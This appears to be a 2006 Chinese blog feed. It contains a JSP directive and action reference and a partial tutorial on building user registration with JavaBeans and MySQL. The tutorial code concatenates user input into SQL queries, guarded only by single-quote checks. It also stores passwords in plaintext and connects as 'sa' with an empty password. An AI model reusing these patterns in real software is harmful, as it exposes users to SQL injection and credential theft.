<br /><br />import="{package.class | package.* }, ..."<br />需要导入的Java包的列表，这些包就作用于程序段，表达式，以及声明。 <br /><br />下面的包在JSP编译时已经导入了，所以你就不需要再指明了: <br /><br />java.lang.* <br />javax.servlet.* <br />javax.servlet.jsp.* <br />javax.servlet.http.* <br /><br />session="true | false"<br />设定客户是否需要HTTP Session.（学过ASP的人，应该对它不陌生)如果它为true,那么Session是有用的。 <br /><br />如果它有false,那么你就不能使用session对象，以及定义了scope=session的&lt;jsp:useBean&gt;元素。这样的使用会导致错误. <br /><br />缺省值是true. <br /><br />buffer="none | 8kb | sizekb"<br />buffer的大小被out对象用于处理执行后的JSP对客户浏览器的输出。缺省值是8kb <br /><br />autoFlush="true | false"<br />设置如果buffer溢出，是否需要强制输出，如果其值被定义为true(缺省值)，输出正常，如果它被设置为false,如果这个buffer溢出，就会导致一个意外错误的发生.如果你把buffer设置为none,那么你就不能把autoFlush设置为false. <br /><br />isThreadSafe="true | false"<br />设置Jsp文件是否能多线程使用。缺省值是true,也就是说，JSP能够同时处理多个用户的请求，如果设置为false，一个jsp只能一次处理一个请求 <br /><br />info="text"<br />一个文本在执行JSP将会被逐字加入JSP中，你能够使用Servlet.getServletInfo方法取回。 <br /><br />errorPage="relativeURL"<br />设置处理异常事件的JSP文件。 <br /><br />isErrorPage="true | false"<br />设置此页是否为出错页，如果被设置为true,你就能使用exception对象. <br /><br />contentType="mimeType [ ;charset=characterSet ]" | "text/html;charset=ISO-8859-1"<br />设置MIME类型 。缺省MIME 类型是: text/html, 缺省字符集为 ISO-8859-1.<br /><br /><br /><strong>&lt;jsp:forward&gt;</strong><br /><br /><br />重定向一个HTML文件，JSP文件，或者是一个程序段. <br /><br />JSP 语法<br />&lt;jsp:forward page={"relativeURL" | "&lt;%= expression %&gt;"} /&gt; <br />or <br />&lt;jsp:forward page={"relativeURL" | "&lt;%= expression %&gt;"} &gt; <br />&lt;jsp:param name="parameterName" <br />value="{parameterValue | &lt;%= expression %&gt;}" /&gt;+ <br />&lt;/jsp:forward&gt; <br />例子<br />&lt;jsp:forward page="/servlet/login" /&gt; <br />&lt;jsp:forward page="/servlet/login"&gt; <br />&lt;jsp:param name="username" value="jsmith" /&gt; <br />&lt;/jsp:forward&gt; <br />描述<br />&lt;jsp:forward&gt;标签从一个JSP文件向另一个文件传递一个包含用户请求的request对象.&lt;jsp:forward&gt;标签以下的代码，将不能执行. <br /><br />你能够向目标文件传送参数和值，在这个例子中我们传递的参数名为username,值为scott,如果你使用了&lt;jsp:param&gt;标签的话，目标文件必须是一个动态的文件，能够处理参数. <br /><br />如果你使用了非缓冲输出的话，那么使用&lt;jsp:forward&gt;时就要小心。如果在你使用&lt;jsp:forward&gt;之前，jsp文件已经有了数据，那么文件执行就会出错. <br /><br />属性<br />page="{relativeURL | &lt;%= expression %&gt;}"<br />这里是一个表达式或是一个字符串用于说明你将要定向的文件或URL.这个文件可以是JSP,程序段，或者其它能够处理request对象的文件(如asp,cgi,php). <br /><br />&lt;jsp:param name="parameterName" value="{parameterValue | &lt;%= expression %&gt;}" /&gt;+<br />向一个动态文件发送一个或多个参数，这个文件一定是动态文件. <br /><br />如果你想传递多个参数，你可以在一个JSP文件中使用多个&lt;jsp:param&gt;。name指定参数名，value指定参数值.<br /><br /><br /><strong>&lt;jsp:getProperty&gt;</strong><br /><br /><br />获取Bean的属性值，用于显示在页面中 <br /><br />JSP 语法<br />&lt;jsp:getProperty name="beanInstanceName" property="propertyName" /&gt; <br />例子<br />&lt;jsp:useBean id="calendar" scope="page" class="employee.Calendar" /&gt; <br />&lt;h2&gt; <br />Calendar of &lt;jsp:getProperty name="calendar" property="username" /&gt; <br />&lt;/h2&gt; <br />描述<br />这个&lt;jsp:getProperty&gt;元素将获得Bean的属性值，并可以将其使用或显示在JSP页面中.在你使用&lt;jsp:getProperty&gt;之前，你必须用&lt;jsp:useBean&gt;创建它. <br /><br />&lt;jsp:getProperty&gt;元素有一些限制: <br /><br />你不能使用&lt;jsp:getProperty&gt;来检索一个已经被索引了的属性 <br />你能够和JavaBeans组件一起使用&lt;jsp:getProperty&gt;,但是不能与Enterprise Bean一起使用。 <br />属性<br />name="beanInstanceName"<br />bean的名字,由&lt;jsp:useBean&gt;指定 <br /><br />property="propertyName"<br />所指定的Bean的属性名。 <br /><br />技巧:<br />在sun的JSP参考中提到，如果你使用&lt;jsp:getProperty&gt;来检索的值是空值，那么NullPointerException将会出现，同时如果使用程序段或表达式来检索其值，那么在浏览器上出现的是null（空).<br /><br /><br /><strong>&lt;jsp:include&gt;</strong><br /><br /><br />包含一个静态或动态文件. <br /><br />JSP 语法<br />&lt;jsp:include page="{relativeURL | &lt;%= expression%&gt;}" flush="true" /&gt; <br />or <br />&lt;jsp:include page="{relativeURL | &lt;%= expression %&gt;}" flush="true" &gt; <br />&lt;jsp:param name="parameterName" value="{parameterValue | &lt;%= expression %&gt;}" /&gt;+ <br />&lt;/jsp:include&gt; <br />Examples<br />&lt;jsp:include page="scripts/login.jsp" /&gt; <br />&lt;jsp:include page="copyright.html" /&gt; <br />&lt;jsp:include page="/index.html" /&gt; <br />&lt;jsp:include page="scripts/login.jsp"&gt; <br />&lt;jsp:param name="username" value="jsmith" /&gt; <br />&lt;/jsp:include&gt; <br /><br />描述<br />&lt;jsp:include&gt;元素允许你包含动态文件和静态，这两种包含文件的结果是不同的。如果文件仅是静态文件，那么这种包含仅仅是把包含文件的内容加到jsp文件中去，而如果这个文件动态的，那么这个被包含文件也会被Jsp编译器执行(这一切与asp相似) <br /><br />你不能从文件名上判断一个文件是动态的还是静态的，比如aspcn.asp 就有可能只是包含一些信息而已，而不需要执行。&lt;jsp:include&gt;能够同时处理这两种文件，因此你就不需要包含时还要判断此文件是动态的还是静态的. <br /><br />如果这个包含文件是动态的，那么你还可以用&lt;jsp:param&gt;还传递参数名和参数值。 <br /><br />属性<br />page="{relativeURL | &lt;%= expression %&gt;}"<br />参数为一相对路径，或者是代表相对路径的表达式. <br /><br />flush="true"<br />这里你必须使用flush="true",你不能使用false值.缺省值为false <br /><br />&lt;jsp:param name="parameterName" value="{parameterValue | &lt;%= expression %&gt; }" /&gt;+<br />&lt;jsp:param&gt;子句能让你传递一个或多个参数给动态文件 <br /><br />你能在一个页面中使用多个&lt;jsp:param&gt;来传递多个参数，<br /><br /><br /><strong>&lt;jsp:plugin&gt;</strong><br /><br /><br />执行一个applet或Bean,有可能的话还要下载一个Java插件用于执行它. <br /><br />JSP 语法<br />&lt;jsp:plugin <br />type="bean | applet" <br />code="classFileName" <br />codebase="classFileDirectoryName" <br />[ name="instanceName" ] <br />[ archive="URIToArchive, ..." ] <br />[ align="bottom | top | middle | left | right" ] <br />[ height="displayPixels" ] <br />[ width="displayPixels" ] <br />[ hspace="leftRightPixels" ] <br />[ vspace="topBottomPixels" ] <br />[ jreversion="JREVersionNumber | 1.1" ] <br />[ nspluginurl="URLToPlugin" ] <br />[ iepluginurl="URLToPlugin" ] &gt; <br />[ &lt;jsp:params&gt; <br />[ &lt;jsp:param name="parameterName" value="{parameterValue | &lt;%= expression %&gt;}" /&gt; ]+ <br />&lt;/jsp:params&gt; ] <br /><br />[ &lt;jsp:fallback&gt; text message for user &lt;/jsp:fallback&gt; ] <br /><br />&lt;/jsp:plugin&gt; <br /><br />例子<br />&lt;jsp:plugin type=applet code="Molecule.class" codebase="/html"&gt; <br />&lt;jsp:params&gt; <br />&lt;jsp:param name="molecule" value="molecules/benzene.mol" /&gt; <br />&lt;/jsp:params&gt; <br />&lt;jsp:fallback&gt; <br />&lt;p&gt;Unable to load applet&lt;/p&gt; <br />&lt;/jsp:fallback&gt; <br />&lt;/jsp:plugin&gt; <br />描述<br />&lt;jsp:plugin&gt;元素用于在浏览器中播放或显示一个对象（典型的就是applet和Bean),而这种显示需要在浏览器的java插件。 <br /><br />当Jsp文件被编译，送往浏览器时，&lt;jsp:plugin&gt;元素将会根据浏览器的版本替换成&lt;object&gt;或者&lt;embed&gt;元素。注意，&lt;object&gt;用于HTML 4.0 ，&lt;embed&gt;用于HTML 3.2. <br /><br />一般来说，&lt;jsp:plugin&gt;元素会指定对象是Applet还是Bean,同样也会指定class的名字，还有位置，另外还会指定将从哪里下载这个Java插件。具体如下: <br /><br />属性<br />type="bean | applet"<br />.将被执行的插件对象的类型，你必须得指定这个是Bean还是applet,因为这个属性没有缺省值. <br /><br />code="classFileName"<br />将会被Java插件执行的Java Class的名字，必须以.class结尾。这个文件必须存在于codebase属性指定的目录中. <br /><br />codebase="classFileDirectoryName"<br />将会被执行的Java Class文件的目录（或者是路径)，如果你没有提供此属性，那么使用&lt;jsp:plugin&gt;的jsp文件的目录将会被使用. <br /><br />name="instanceName"<br />这个Bean或applet实例的名字，它将会在Jsp其它的地方调用. <br /><br />archive="URIToArchive, ..."<br />一些由逗号分开的路径名，这些路径名用于预装一些将要使用的class,这会提高applet的性能. <br /><br />align="bottom | top | middle | left | right"<br />图形，对象，Applet的位置,有以下值: <br /><br />bottom <br />top <br />middle <br />left <br />right <br />height="displayPixels" width="displayPixels"<br />Applet或Bean将要显示的长宽的值，此值为数字，单位为象素. <br /><br />hspace="leftRightPixels" vspace="topBottomPixels"<br />Applet或Bean显示时在屏幕左右，上下所需留下的空间，单位为象素. <br /><br />jreversion="JREVersionNumber | 1.1" <br />Applet或Bean运行所需的Java Runtime Environment (JRE) 的版本. 缺省值是 1.1. <br /><br />nspluginurl="URLToPlugin" <br />Netscape Navigator用户能够使用的JRE的下载地址，此值为一个标准的URL，如http://www.aspcn.com/jsp <br /><br />iepluginurl="URLToPlugin"<br />IE用户能够使用的JRE的下载地址，此值为一个标准的URL，如http://www.aspcn.com/jsp <br /><br />&lt;jsp:params&gt; [ &lt;jsp:param name="parameterName" value="{parameterValue | &lt;%= expression %&gt;}" /&gt; ]+ &lt;/jsp:params&gt;<br />你需要向applet或Bean传送的参数或参数值。 <br /><br />&lt;jsp:fallback&gt; text message for user &lt;/jsp:fallback&gt;<br />一段文字用于Java 插件不能启动时显示给用户的，如果插件能够启动而applet或Bean不能，那么浏览器会有一个出错信息弹出.<br /><br /><br /><strong>&lt;jsp:setProperty&gt;</strong><br /><br /><br />设置Bean中的属性值. <br /><br />JSP语法<br />&lt;jsp:setProperty <br />name="beanInstanceName" <br />{ <br />property= "*" | <br />property="propertyName" [ param="parameterName" ] | <br />property="propertyName" value="{string | &lt;%= expression %&gt;}" <br />} <br />/&gt; <br />例子<br />&lt;jsp:setProperty name="mybean" property="*" /&gt; <br />&lt;jsp:setProperty name="mybean" property="username" /&gt; <br />&lt;jsp:setProperty name="mybean" property="username" value="Steve" /&gt; <br />描述<br />&lt;jsp:setProperty&gt;元素使用Bean给定的setter方法，在Bean中设置一个或多个属性值。你在使用这个元素之前必须得使用&lt;jsp:useBean&gt;声明此Bean.因为，&lt;jsp:useBean&gt;和&lt;jsp:setProperty&gt;是联系在一起的，同时这他们使用的Bean实例的名字也应当相匹配（就是说，在&lt;jsp:setProperty&gt;中的name的值应当和&lt;jsp:useBean&gt;中id的值相同) <br /><br />你能使用多种方法利用&lt;jsp:setProperty&gt;来设定属性值 : <br /><br />通过用户输入的所有值(被做为参数储存中request对象中)来匹配Bean中的属性 <br />通过用户输入的指定的值来匹配Bean中指定的属性 <br />在运行时使用一个表达式来匹配Bean的属性 <br />每一种设定属性值的方法都有其特定的语法，下面我们会来讲解 <br /><br />属性及其用法<br />name="beanInstanceName"<br />表示已经在&lt;jsp:useBean&gt;中创建的Bean实例的名字. <br /><br />property="*"<br />储存用户在Jsp输入的所有值，用于匹配Bean中的属性。在Bean中的属性的名字必须和request对象中的参数名一致. <br /><br />从客户传到服器上的参数值一般都是字符类型 ，这些字符串为了能够在Bean中匹配就必须转换成其它的类型，下面的表中列出了Bean属性的类型以及他们的转换方法.<br /><br />把字符串转化为其它类型的方法. Property 类型 <br />方法 <br />boolean or Boolean <br />java.lang.Boolean.valueOf(String) <br />byte or Byte <br />java.lang.Byte.valueOf(String) <br />char or Character <br />java.lang.Character.valueOf(String) <br />double or Double <br />java.lang.Double.valueOf(String) <br />integer or Integer <br />java.lang.Integer.valueOf(String) <br />float or Float <br />java.lang.Float.valueOf(String) <br />long or Long <br />java.lang.Long.valueOf(String) <br /><br />如果request对象的参数值中有空值，那么对应的Bean属性将不会设定任何值。同样的，如果Bean中有一个属性没有与之对应的Request参数值，那么这个属性同样也不会设定. <br /><br />property="propertyName" [ param="parameterName" ]<br />使用request中的一个参数值来指定Bean中的一个属性值。在这个语法中，property指定Bean的属性名，param指定request中的参数名. <br /><br />如果bean属性和request参数的名字不同，那么你就必须得指定property和param ，如果他们同名，那么你就只需要指明property就行了. <br /><br />如查参数值为空（或未初始化),对应的Bean属性不被设定. <br /><br />property="propertyName" value="{string | &lt;%= expression %&gt;}"<br />使用指定的值来设定Bean属性。这个值可以是字符串，也可以是表达式。如果这个字符串，那么它就会被转换成Bean属性的类型（查看上面的表).如果它是一个表达式，那么它类型就必须和它将要设定的属性值的类型一致。 <br /><br />如果参数值为空，那么对应的属性值也不会被设定。另外，你不能在一个&lt;jsp:setProperty&gt;中同时使用param和value <br /><br />技巧<br />如果你使用了property="*",那么Bean的属性没有必要按Html表单中的顺序排序 <br /><br /><br /><strong>&lt;jsp:useBean&gt;</strong><br /><br /><br />创建一个Bean实例并指定它的名字和作用范围. <br /><br />JSP 语法<br />&lt;jsp:useBean <br />id="beanInstanceName" <br />scope="page | request | session | application" <br />{ <br />class="package.class" | <br />type="package.class" | <br />class="package.class" type="package.class" | <br />beanName="{package.class | &lt;%= expression %&gt;}" type="package.class" <br />} <br />{ <br />/&gt; | <br />&gt; other elements &lt;/jsp:useBean&gt; <br />} <br />例子<br />&lt;jsp:useBean id="cart" scope="session" class="session.Carts" /&gt; <br />&lt;jsp:setProperty name="cart" property="*" /&gt; <br />&lt;jsp:useBean id="checking" scope="session" class="bank.Checking" &gt; <br />&lt;jsp:setProperty name="checking" property="balance" value="0.0" /&gt; <br />&lt;/jsp:useBean&gt; <br /><br />描述<br />&lt;jsp:useBean&gt;用于定位或示例一个JavaBeans组件。&lt;jsp:useBean&gt;首先会试图定位一个Bean实例，如果这个Bean不存在，那么&lt;jsp:useBean&gt;就会从一个class或模版中进行示例。 <br /><br />为了定位或示例一个Bean，&lt;jsp:useBean&gt;会进行以下步聚，顺序如下: <br /><br />通过给定名字和范围试图定位一个Bean. <br />对这个Bean对象引用变量以你指定的名字命名. <br />如果发现了这个Bean,将会在这个变量中储存这个引用。如果你也指定了类型，那么这个Bean也设置为相应的类型. <br />如果没有发现这个Bean,将会从你指定的class中示例，并将此引用储存到一个新的变量中去。如果这个class的名字代表的是一个模版，那么这个Bean被java.beans.Beans.instantiate示例. <br />如果&lt;jsp:useBean&gt;已经示例（不是定位）了Bean,同时&lt;jsp:useBean&gt;和&lt;/jsp:useBean&gt;中有元素，那么将会执行其中的代码. <br />&lt;jsp:useBean&gt;元素的主体通常包含有&lt;jsp:setProperty&gt;元素，用于设置Bean的属性值。正如上面第五步所说的，&lt;jsp:useBean&gt;的主体仅仅只有在&lt;jsp:useBean&gt;示例Bean时才会被执行，如果这个Bean已经存在，&lt;jsp:useBean&gt;能够定位它，那么主体中的内容将不会起作用 <br /><br />属性以及用法<br />id="beanInstanceName"<br />在你所定义的范围中确认Bean的变量，你能在后面的程序中使用此变量名来分辨不同的Bean <br /><br />这个变量名对大小写敏感，必须符合你所使用的脚本语言的规定，在Java Programming Language中，这个规定在Java Language 规范已经写明。如果这个Bean已经在别的&lt;jsp:useBean&gt;中创建，那么这个id的值必须与原来的那个id值一致. <br /><br />scope="page | request | session | application"<br />Bean存在的范围以及id变量名的有效范围。缺省值是page,以下是详细说明： <br /><br />page - 你能在包含&lt;jsp:useBean&gt;元素的JSP文件以及此文件中的所有静态包含文件中使用Bean,直到页面执行完毕向客户端发回响应或转到另一个文件为止。<br />   <br />request - 你在任何执行相同请求的Jsp文件中使用Bean,直到页面执行完毕向客户端发回响应或转到另一个文件为止。你能够使用Request对象访问Bean,比如request.getAttribute(beanInstanceName)<br /><br />session - 从创建Bean开始，你就能在任何使用相同session的Jsp文件中使用Bean.这个Bean存在于整个Session生存周期内，任何在分享此Session的Jsp文件都能使用同一Bean.注意在你创建Bean的Jsp文件中&lt;% @ page %&gt;指令中必须指定session=true<br /><br />application - 从创建Bean开始，你就能在任何使用相同application的Jsp文件中使用Bean.这个Bean存在于整个application生存周期内，任何在分享此application的Jsp文件都能使用同一Bean. <br />class="package.class"<br />使用new关键字以及class构造器从一个class中示例一个bean.这个class不能是抽象的，必须有一个公用的，没有参数的构造器.这个package的名字区别大小写。 <br /><br />type="package.class"<br />如果这个Bean已经在指定的范围中存在，那么写这个Bean一个新的数据库类型 。如果你没有使用class或beanName指定type，Bean将不会被示例.package和class的名字，区分大小写. <br /><br />beanName="{package.class | &lt;%= expression %&gt;}" type="package.class"<br />使用java.beans.Beans.instantiate方法来从一个class或连续模版中示例一个Bean,同时指定Bean的类型。 <br /><br />beanName可以是package和class也可以是表达式,它的值会传给Beans.instantiate.tupe的值可以和Bean相同。 <br /><br />package 和 class 名字区分大小写.<img src ="http://www.blogjava.net/xixidabao/aggbug/45557.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xixidabao/" target="_blank">JAVA之路</a> 2006-05-10 22:51 <a href="http://www.blogjava.net/xixidabao/archive/2006/05/10/45557.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>jsp中用bean和servlet联合实现用户注册、登录</title><link>http://www.blogjava.net/xixidabao/archive/2006/05/01/44291.html</link><dc:creator>JAVA之路</dc:creator><author>JAVA之路</author><pubDate>Mon, 01 May 2006 09:32:00 GMT</pubDate><guid>http://www.blogjava.net/xixidabao/archive/2006/05/01/44291.html</guid><description><![CDATA[
		<font id="font_word" style="FONT-SIZE: 14px; FONT-FAMILY: 宋体, Verdana, Arial, Helvetica, sans-serif">
				<p>
						<br />本例需要的<a class="wordstyle" href="http://www.pccode.net" target="_blank">软件</a>和运行环境：<br />1、Windows2000 Server操作系统<br />2、jdk1.4<br />3、JCreator2.5（java<a class="wordstyle" href="http://www.pccode&lt;a target=" target="_blank" _blank?="">.net</a>" class="wordstyle"&gt;源码编辑调试器，吐血推荐！）<br />4、Macromedia JRun MX<br />5、Macromedia Dreamweaver MX（非必需）<br />6、MySQL数据库（最好安装MySQL Control Center） 
</p>
				<p>一、数据库设计<br />用MySQL Control Center打开MySQL数据库，新建数据库shopping，在其下新建表tbl_user，其中各字段设置如下：</p>
				<p>
						<img src="/article/UploadPic/2006/3/20063111144681.gif" onload="return imgzoom(this,550)" border="0" />
						<br />二、编写连接数据库bean：DBConn.java</p>
				<p>
						<br />//DBConn.java</p>
				<p>//include required classes<br />import java.sql.*;</p>
				<p>//==========================================<br />// Define Class DBConn<br />//==========================================<br />public class DBConn<br />{<br /> public String sql_driver = "org.gjt.mm.mysql.Driver";<br /> public String sql_url = "jdbc:mysql://localhost:3306";<br /> public String sql_DBName = "shopping";<br /> public String user = "sa";<br /> public String pwd = "";</p>
				<p> Connection conn = null;<br /> Statement stmt = null;<br /> ResultSet rs = null;</p>
				<p> public boolean setDriver(String drv)<br /> {<br />  this.sql_driver = drv;<br />  return true;<br /> }</p>
				<p> public String getDriver()<br /> {<br />  return this.sql_driver;<br /> }</p>
				<p> public boolean setUrl(String url)<br /> {<br />  this.sql_url = url;<br />  return true;<br /> }</p>
				<p> public boolean setDBName(String dbname)<br /> {<br />  this.sql_DBName = dbname;<br />  return true;<br /> }</p>
				<p> public String getDBName()<br /> {<br />  return this.sql_DBName;<br /> }</p>
				<p> public boolean setUser(String user)<br /> {<br />  this.user = user;<br />  return true;<br /> }</p>
				<p> public String getUser()<br /> {<br />  return this.user;<br /> }</p>
				<p> public boolean setPwd(String pwd)<br /> {<br />  this.pwd = pwd;<br />  return true;<br /> }</p>
				<p> public String getPwd()<br /> {<br />  return this.pwd;<br /> }</p>
				<p> public DBConn()<br /> {<br />  try{<br />   Class.forName(sql_driver);//加载数据库驱动程序<br />   this.conn = DriverManager.getConnection(sql_url + "/" + sql_DBName + "?user=" + user + "&amp;password=" + pwd + "&amp;useUnicode=true&amp;characterEncoding=gb2312");<br />   this.stmt = this.conn.createStatement();<br />  }catch(Exception e){<br />   System.out.println(e.toString());<br />  }<br /> }</p>
				<p>                //执行查询操作<br /> public ResultSet executeQuery(String strSql)<br /> {<br />  try{<br />   this.rs = stmt.executeQuery(strSql);<br />   return this.rs;<br />  }catch(SQLException e){<br />   System.out.println(e.toString());<br />   return null;<br />  }catch(NullPointerException e){<br />   System.out.println(e.toString());<br />   return null;<br />  }<br /> }</p>
				<p>                //执行数据的插入、删除、修改操作<br /> public boolean execute(String strSql)<br /> {<br />  try{<br />   if(this.stmt.executeUpdate(strSql) == 0)<br />    return false;<br />   else<br />    return true;<br />  }catch(SQLException e){<br />   System.out.println(e.toString());<br />   return false;<br />  }catch(NullPointerException e){<br />   System.out.println(e.toString());<br />   return false;<br />  }<br /> }</p>
				<p>                //结果集指针跳转到某一行<br /> public boolean rs_absolute(int row)<br /> {<br />  try{<br />   this.rs.absolute(row);<br />   return true;<br />  }catch(SQLException e){<br />   System.out.println(e.toString());<br />   return false;<br />  }<br /> }</p>
				<p> public void rs_afterLast()<br /> {<br />  try{<br />   this.rs.afterLast();<br />  }catch(SQLException e){<br />   System.out.println(e.toString());<br />  }<br /> }</p>
				<p> public void rs_beforeFirst()<br /> {<br />  try{<br />   this.rs.beforeFirst();<br />  }catch(SQLException e){<br />   System.out.print(e.toString());<br />  }<br /> }</p>
				<p> public void rs_close()<br /> {<br />  try{<br />   this.rs.close();<br />  }catch(SQLException e){<br />   System.out.print(e.toString());<br />  }<br /> }</p>
				<p> public void rs_deleteRow()<br /> {<br />  try{<br />   this.rs.deleteRow();<br />  }catch(SQLException e){<br />   System.out.print(e.toString());<br />  }<br /> }</p>
				<p> public boolean rs_first()<br /> {<br />  try{<br />   this.rs.first();<br />   return true;<br />  }catch(SQLException e){<br />   System.out.print(e.toString());<br />   return false;<br />  }<br /> }</p>
				<p> public String rs_getString(String column)<br /> {<br />  try{<br />   return this.rs.getString(column);<br />  }catch(SQLException e){<br />   System.out.println(e.toString());<br />   return null;<br />  }<br /> }</p>
				<p>                //此方法用于获取大段文本，<br />                //将其中的回车换行替换为&lt;br&gt;<br />                //输出到html页面<br /> public String rs_getHtmlString(String column)<br /> {<br />  try{<br />   String str1 = this.rs.getString(column);<br />   String str2 = "\r\n";<br />   String str3 = "&lt;br&gt;";<br />   return this.replaceAll(str1,str2,str3);<br />  }catch(SQLException e){<br />   System.out.println(e.toString());<br />   return null;<br />  }<br /> }<br /> <br />                //把str1字符串中的str2字符串替换为str3字符串<br /> private static String replaceAll(String str1,String str2,String str3)<br /> {<br />  StringBuffer strBuf = new StringBuffer(str1);<br />     int index=0;<br />  while(str1.indexOf(str2,index)!=-1)<br />  {<br />   index=str1.indexOf(str2,index);<br />   strBuf.replace(str1.indexOf(str2,index),str1.indexOf(str2,index)+str2.length(),str3);<br />   index=index+str3.length();</p>
				<p>    str1=strBuf.toString();<br />  }<br />  return strBuf.toString();<br /> } </p>
				<p> public int rs_getInt(String column)<br /> {<br />  try{<br />   return this.rs.getInt(column);<br />  }catch(SQLException e){<br />   System.out.println(e.toString());<br />   return -1;<br />  }<br /> }</p>
				<p> public int rs_getInt(int column)<br /> {<br />  try{<br />   return this.rs.getInt(column);<br />  }catch(SQLException e){<br />   System.out.println(e.toString());<br />   return -1;<br />  }<br /> }</p>
				<p> public boolean rs_next()<br /> {<br />  try{<br />   return this.rs.next();<br />  }catch(SQLException e){<br />   System.out.println(e.toString());<br />   return false;<br />  }<br /> }</p>
				<p>                //判断结果集中是否有数据<br /> public boolean hasData()<br /> {<br />  try{<br />   boolean has_Data = this.rs.first();   <br />   this.rs.beforeFirst();<br />   return has_Data;<br />  }catch(SQLException e){<br />   System.out.println(e.toString());<br />   return false;<br />  }<br /> }</p>
				<p> public boolean rs_last()<br /> {<br />  try{<br />   return this.rs.last();<br />  }catch(SQLException e){<br />   System.out.println(e.toString());<br />   return false;<br />  }<br /> }</p>
				<p> public boolean rs_previous()<br /> {<br />  try{<br />   return this.rs.previous();<br />  }catch(Exception e){<br />   System.out.println(e.toString());<br />   return false;<br />  }<br /> }</p>
				<p>                //main方法，调试用<br /> public static void main(String args[])<br /> {<br />  try{<br />   DBConn myconn = new DBConn();<br />   //myconn.setDBName("shopping");<br />   //myconn.DBConn();<br />   //myconn.execute("Insert Into tbl_test(id,name) values('10','shandaer')");<br />   //myconn.execute("Update tbl_test set name='yyyyyyyyyyyy' where id=10");<br />   //myconn.execute("Delete from tbl_test where id=1");<br />   ResultSet rs = myconn.executeQuery("select * from tbl_user order by id desc limit 1");<br />   //boolean hasData = myconn.hasData();<br />   //System.out.println("has data:" + hasData);<br />   //rs.first();<br />   while (myconn.rs.next())  <br />   {<br />    int id = myconn.rs_getInt("id") + 1;<br />    System.out.print(id);<br />    System.out.println(myconn.rs_getInt("id") + myconn.rs_getString("name"));<br />    <br />    //System.out.println('\n' + myconn.rs_getHtmlString("name"));<br />    //System.out.println(myconn.rs.getString("name") + myconn.rs_getInt(1));<br />   }<br />  }catch(Exception e){<br />   System.err.println(e.toString());<br />  }<br /> }<br /> <br />}</p>
				<p>声明：因为使用的是MySQL数据库，所以需要MySQL数据库的驱动<br /><a class="wordstyle" href="http://www.pccode.net" target="_blank">下载</a>后请将org包放至DBConn.java所在目录下<br />以确保该bean能正常运行</p>
				<p> </p>
				<p>三、编写用户注册的bean：reg.java</p>
				<p>
						<br />//reg.java</p>
				<p>//import required classes<br />import java.sql.*;</p>
				<p>public class reg<br />{<br /> public int newID = 0;<br /> public boolean result = false;<br /> public boolean reg(String username,String password,String confirm,String email)<br /> {<br />  try{<br />   if(!this.checkUser(username))<br />    return false;<br />   if(!this.checkPwd(password))<br />    return false;<br />   if(!this.verifyPwd(password,confirm))<br />    return false;<br />   if(!this.checkEmail(email))<br />    return false;<br />   if(!this.userNotExit(username))<br />    return false;<br />   this.getNewID();  <br />   this.result = this.register(username,password,confirm,email);<br />   return this.result;<br />  }catch(Exception e){<br />   System.out.println(e.toString());<br />   return false;<br />  }<br /> }//End boolean reg<br /> <br /> public boolean checkUser(String user)<br /> {<br />  try{   <br />   if(user.indexOf("'")!=-1)<br />   {<br />    System.out.println("姓名中含有非法字符！");<br />    return false;<br />   }else<br />    return true;<br />  }catch(Exception e){<br />   System.out.println(e.toString());<br />   return false;<br />   } <br /> }<br /> <br /> public boolean checkPwd(String pwd)<br /> {<br />  try{<br />   if(pwd.indexOf("'")!=-1)<br />   {<br />    System.out.println("密码中含有非法字符！");<br />    return false;<br />   }else<br />    return true;<br />  }catch(Exception e){<br />   System.out.println(e.toString());<br />   return false; <br />  }<br /> }<br /> <br /> public boolean verifyPwd(String pwd,String confirm)<br /> {<br />  try{<br />   if(!pwd.equals(confirm))<br />   {<br />    System.out.println("两次输入的密码不一致！");<br />    return false;<br />   }else<br />    return true;<br />  }catch(Exception e){<br />   System.out.println(e.toString());<br />   return false;<br />  }<br /> }<br /> <br /> public boolean checkEmail(String email)<br /> {<br />  try{<br />   if(email.indexOf("'")!=-1)<br />   {<br />    System.out.println("E-mail中含有非法字符！");<br />    return false;<br />   }else<br />    return true;<br />  }catch(Exception e){<br />   System.out.println(e.toString());<br />   return false; <br />  }<br /> }<br /> <br /> public boolean userNotExit(String user)<br /> {<br />  try{<br />   DBConn userDBConn = new DBConn();<br />   userDBConn.executeQuery("select * from tbl_user where name='" + user + "'");<br />   if(userDBConn.rs_next())<br />   {<br />    System.out.println("用户名已存在，请选择其它的用户名！");<br />    return false;<br />   }else<br />    return true;<br />  }catch(Exception e){<br />   System.out.println(e.toString());<br />   return false;<br />   } <br /> }<br /> <br /> public int getNewID()<br /> {<br />  try{<br />   DBConn newIDDBConn = new DBConn();<br />   newIDDBConn.executeQuery("select * from tbl_user order by id desc limit 1");<br />   if(newIDDBConn.rs_next())<br />   {<br />    this.newID = newIDDBConn.rs_getInt("id") + 1;<br />    System.out.println(this.newID);<br />   }else{<br />    this.newID = 1;<br />   }<br />   return this.newID;<br />  }catch(Exception e){<br />   System.out.println(e.toString());<br />   return -1;<br />   }    <br /> }<br /> <br /> public int getID()<br /> {<br />  return this.newID;<br /> }<br /> <br /> public boolean register(String username,String password,String confirm,String email)<br /> {<br />  try{<br />   DBConn regDBConn = new DBConn();<br />   String strSQL = "insert into tbl_user(id,name,pwd,email) values('" + this.newID +"','" + username + "','" + password + "','" + email + "')";<br />   regDBConn.execute(strSQL);<br />   return true;<br />  }catch(Exception e){<br />   System.out.println(e.toString());<br />   return false;<br />   } <br /> }</p>
				<p> public static void main(String args[])<br /> {<br />  try{<br />   <br />   reg newreg = new reg();   <br />   <br />   System.out.println(newreg.reg("sssssssss","ssssss","ssssss","<a href="mailto:imagebear@163.com">imagebear@163.com</a>"));<br />   <br />   DBConn myconn = new DBConn();<br />   myconn.executeQuery("select * from tbl_user");<br />   while(myconn.rs_next())<br />   {<br />    System.out.println(myconn.rs_getInt("id") + "    " + myconn.rs_getString("name") + "    " + myconn.rs_getString("pwd") + "    " + myconn.rs_getString("email"));<br />   }<br />   System.out.println(newreg.getID());<br />  }catch(Exception e){<br />   System.err.println(e.toString());<br />  }<br /> }<br />};</p>
				<p>说明：<br />1、该bean文件应和上文所述DBConn.class文件放于同一目录下<br />2、本例主要研究注册的过程，其中的Email检测等方法并不完善，若要应用请自行设计方法</p>
				<p> </p>
				<p>
						<br />四、编写用户登陆的Servlet：login.java</p>
				<p>
						<br />//login.java</p>
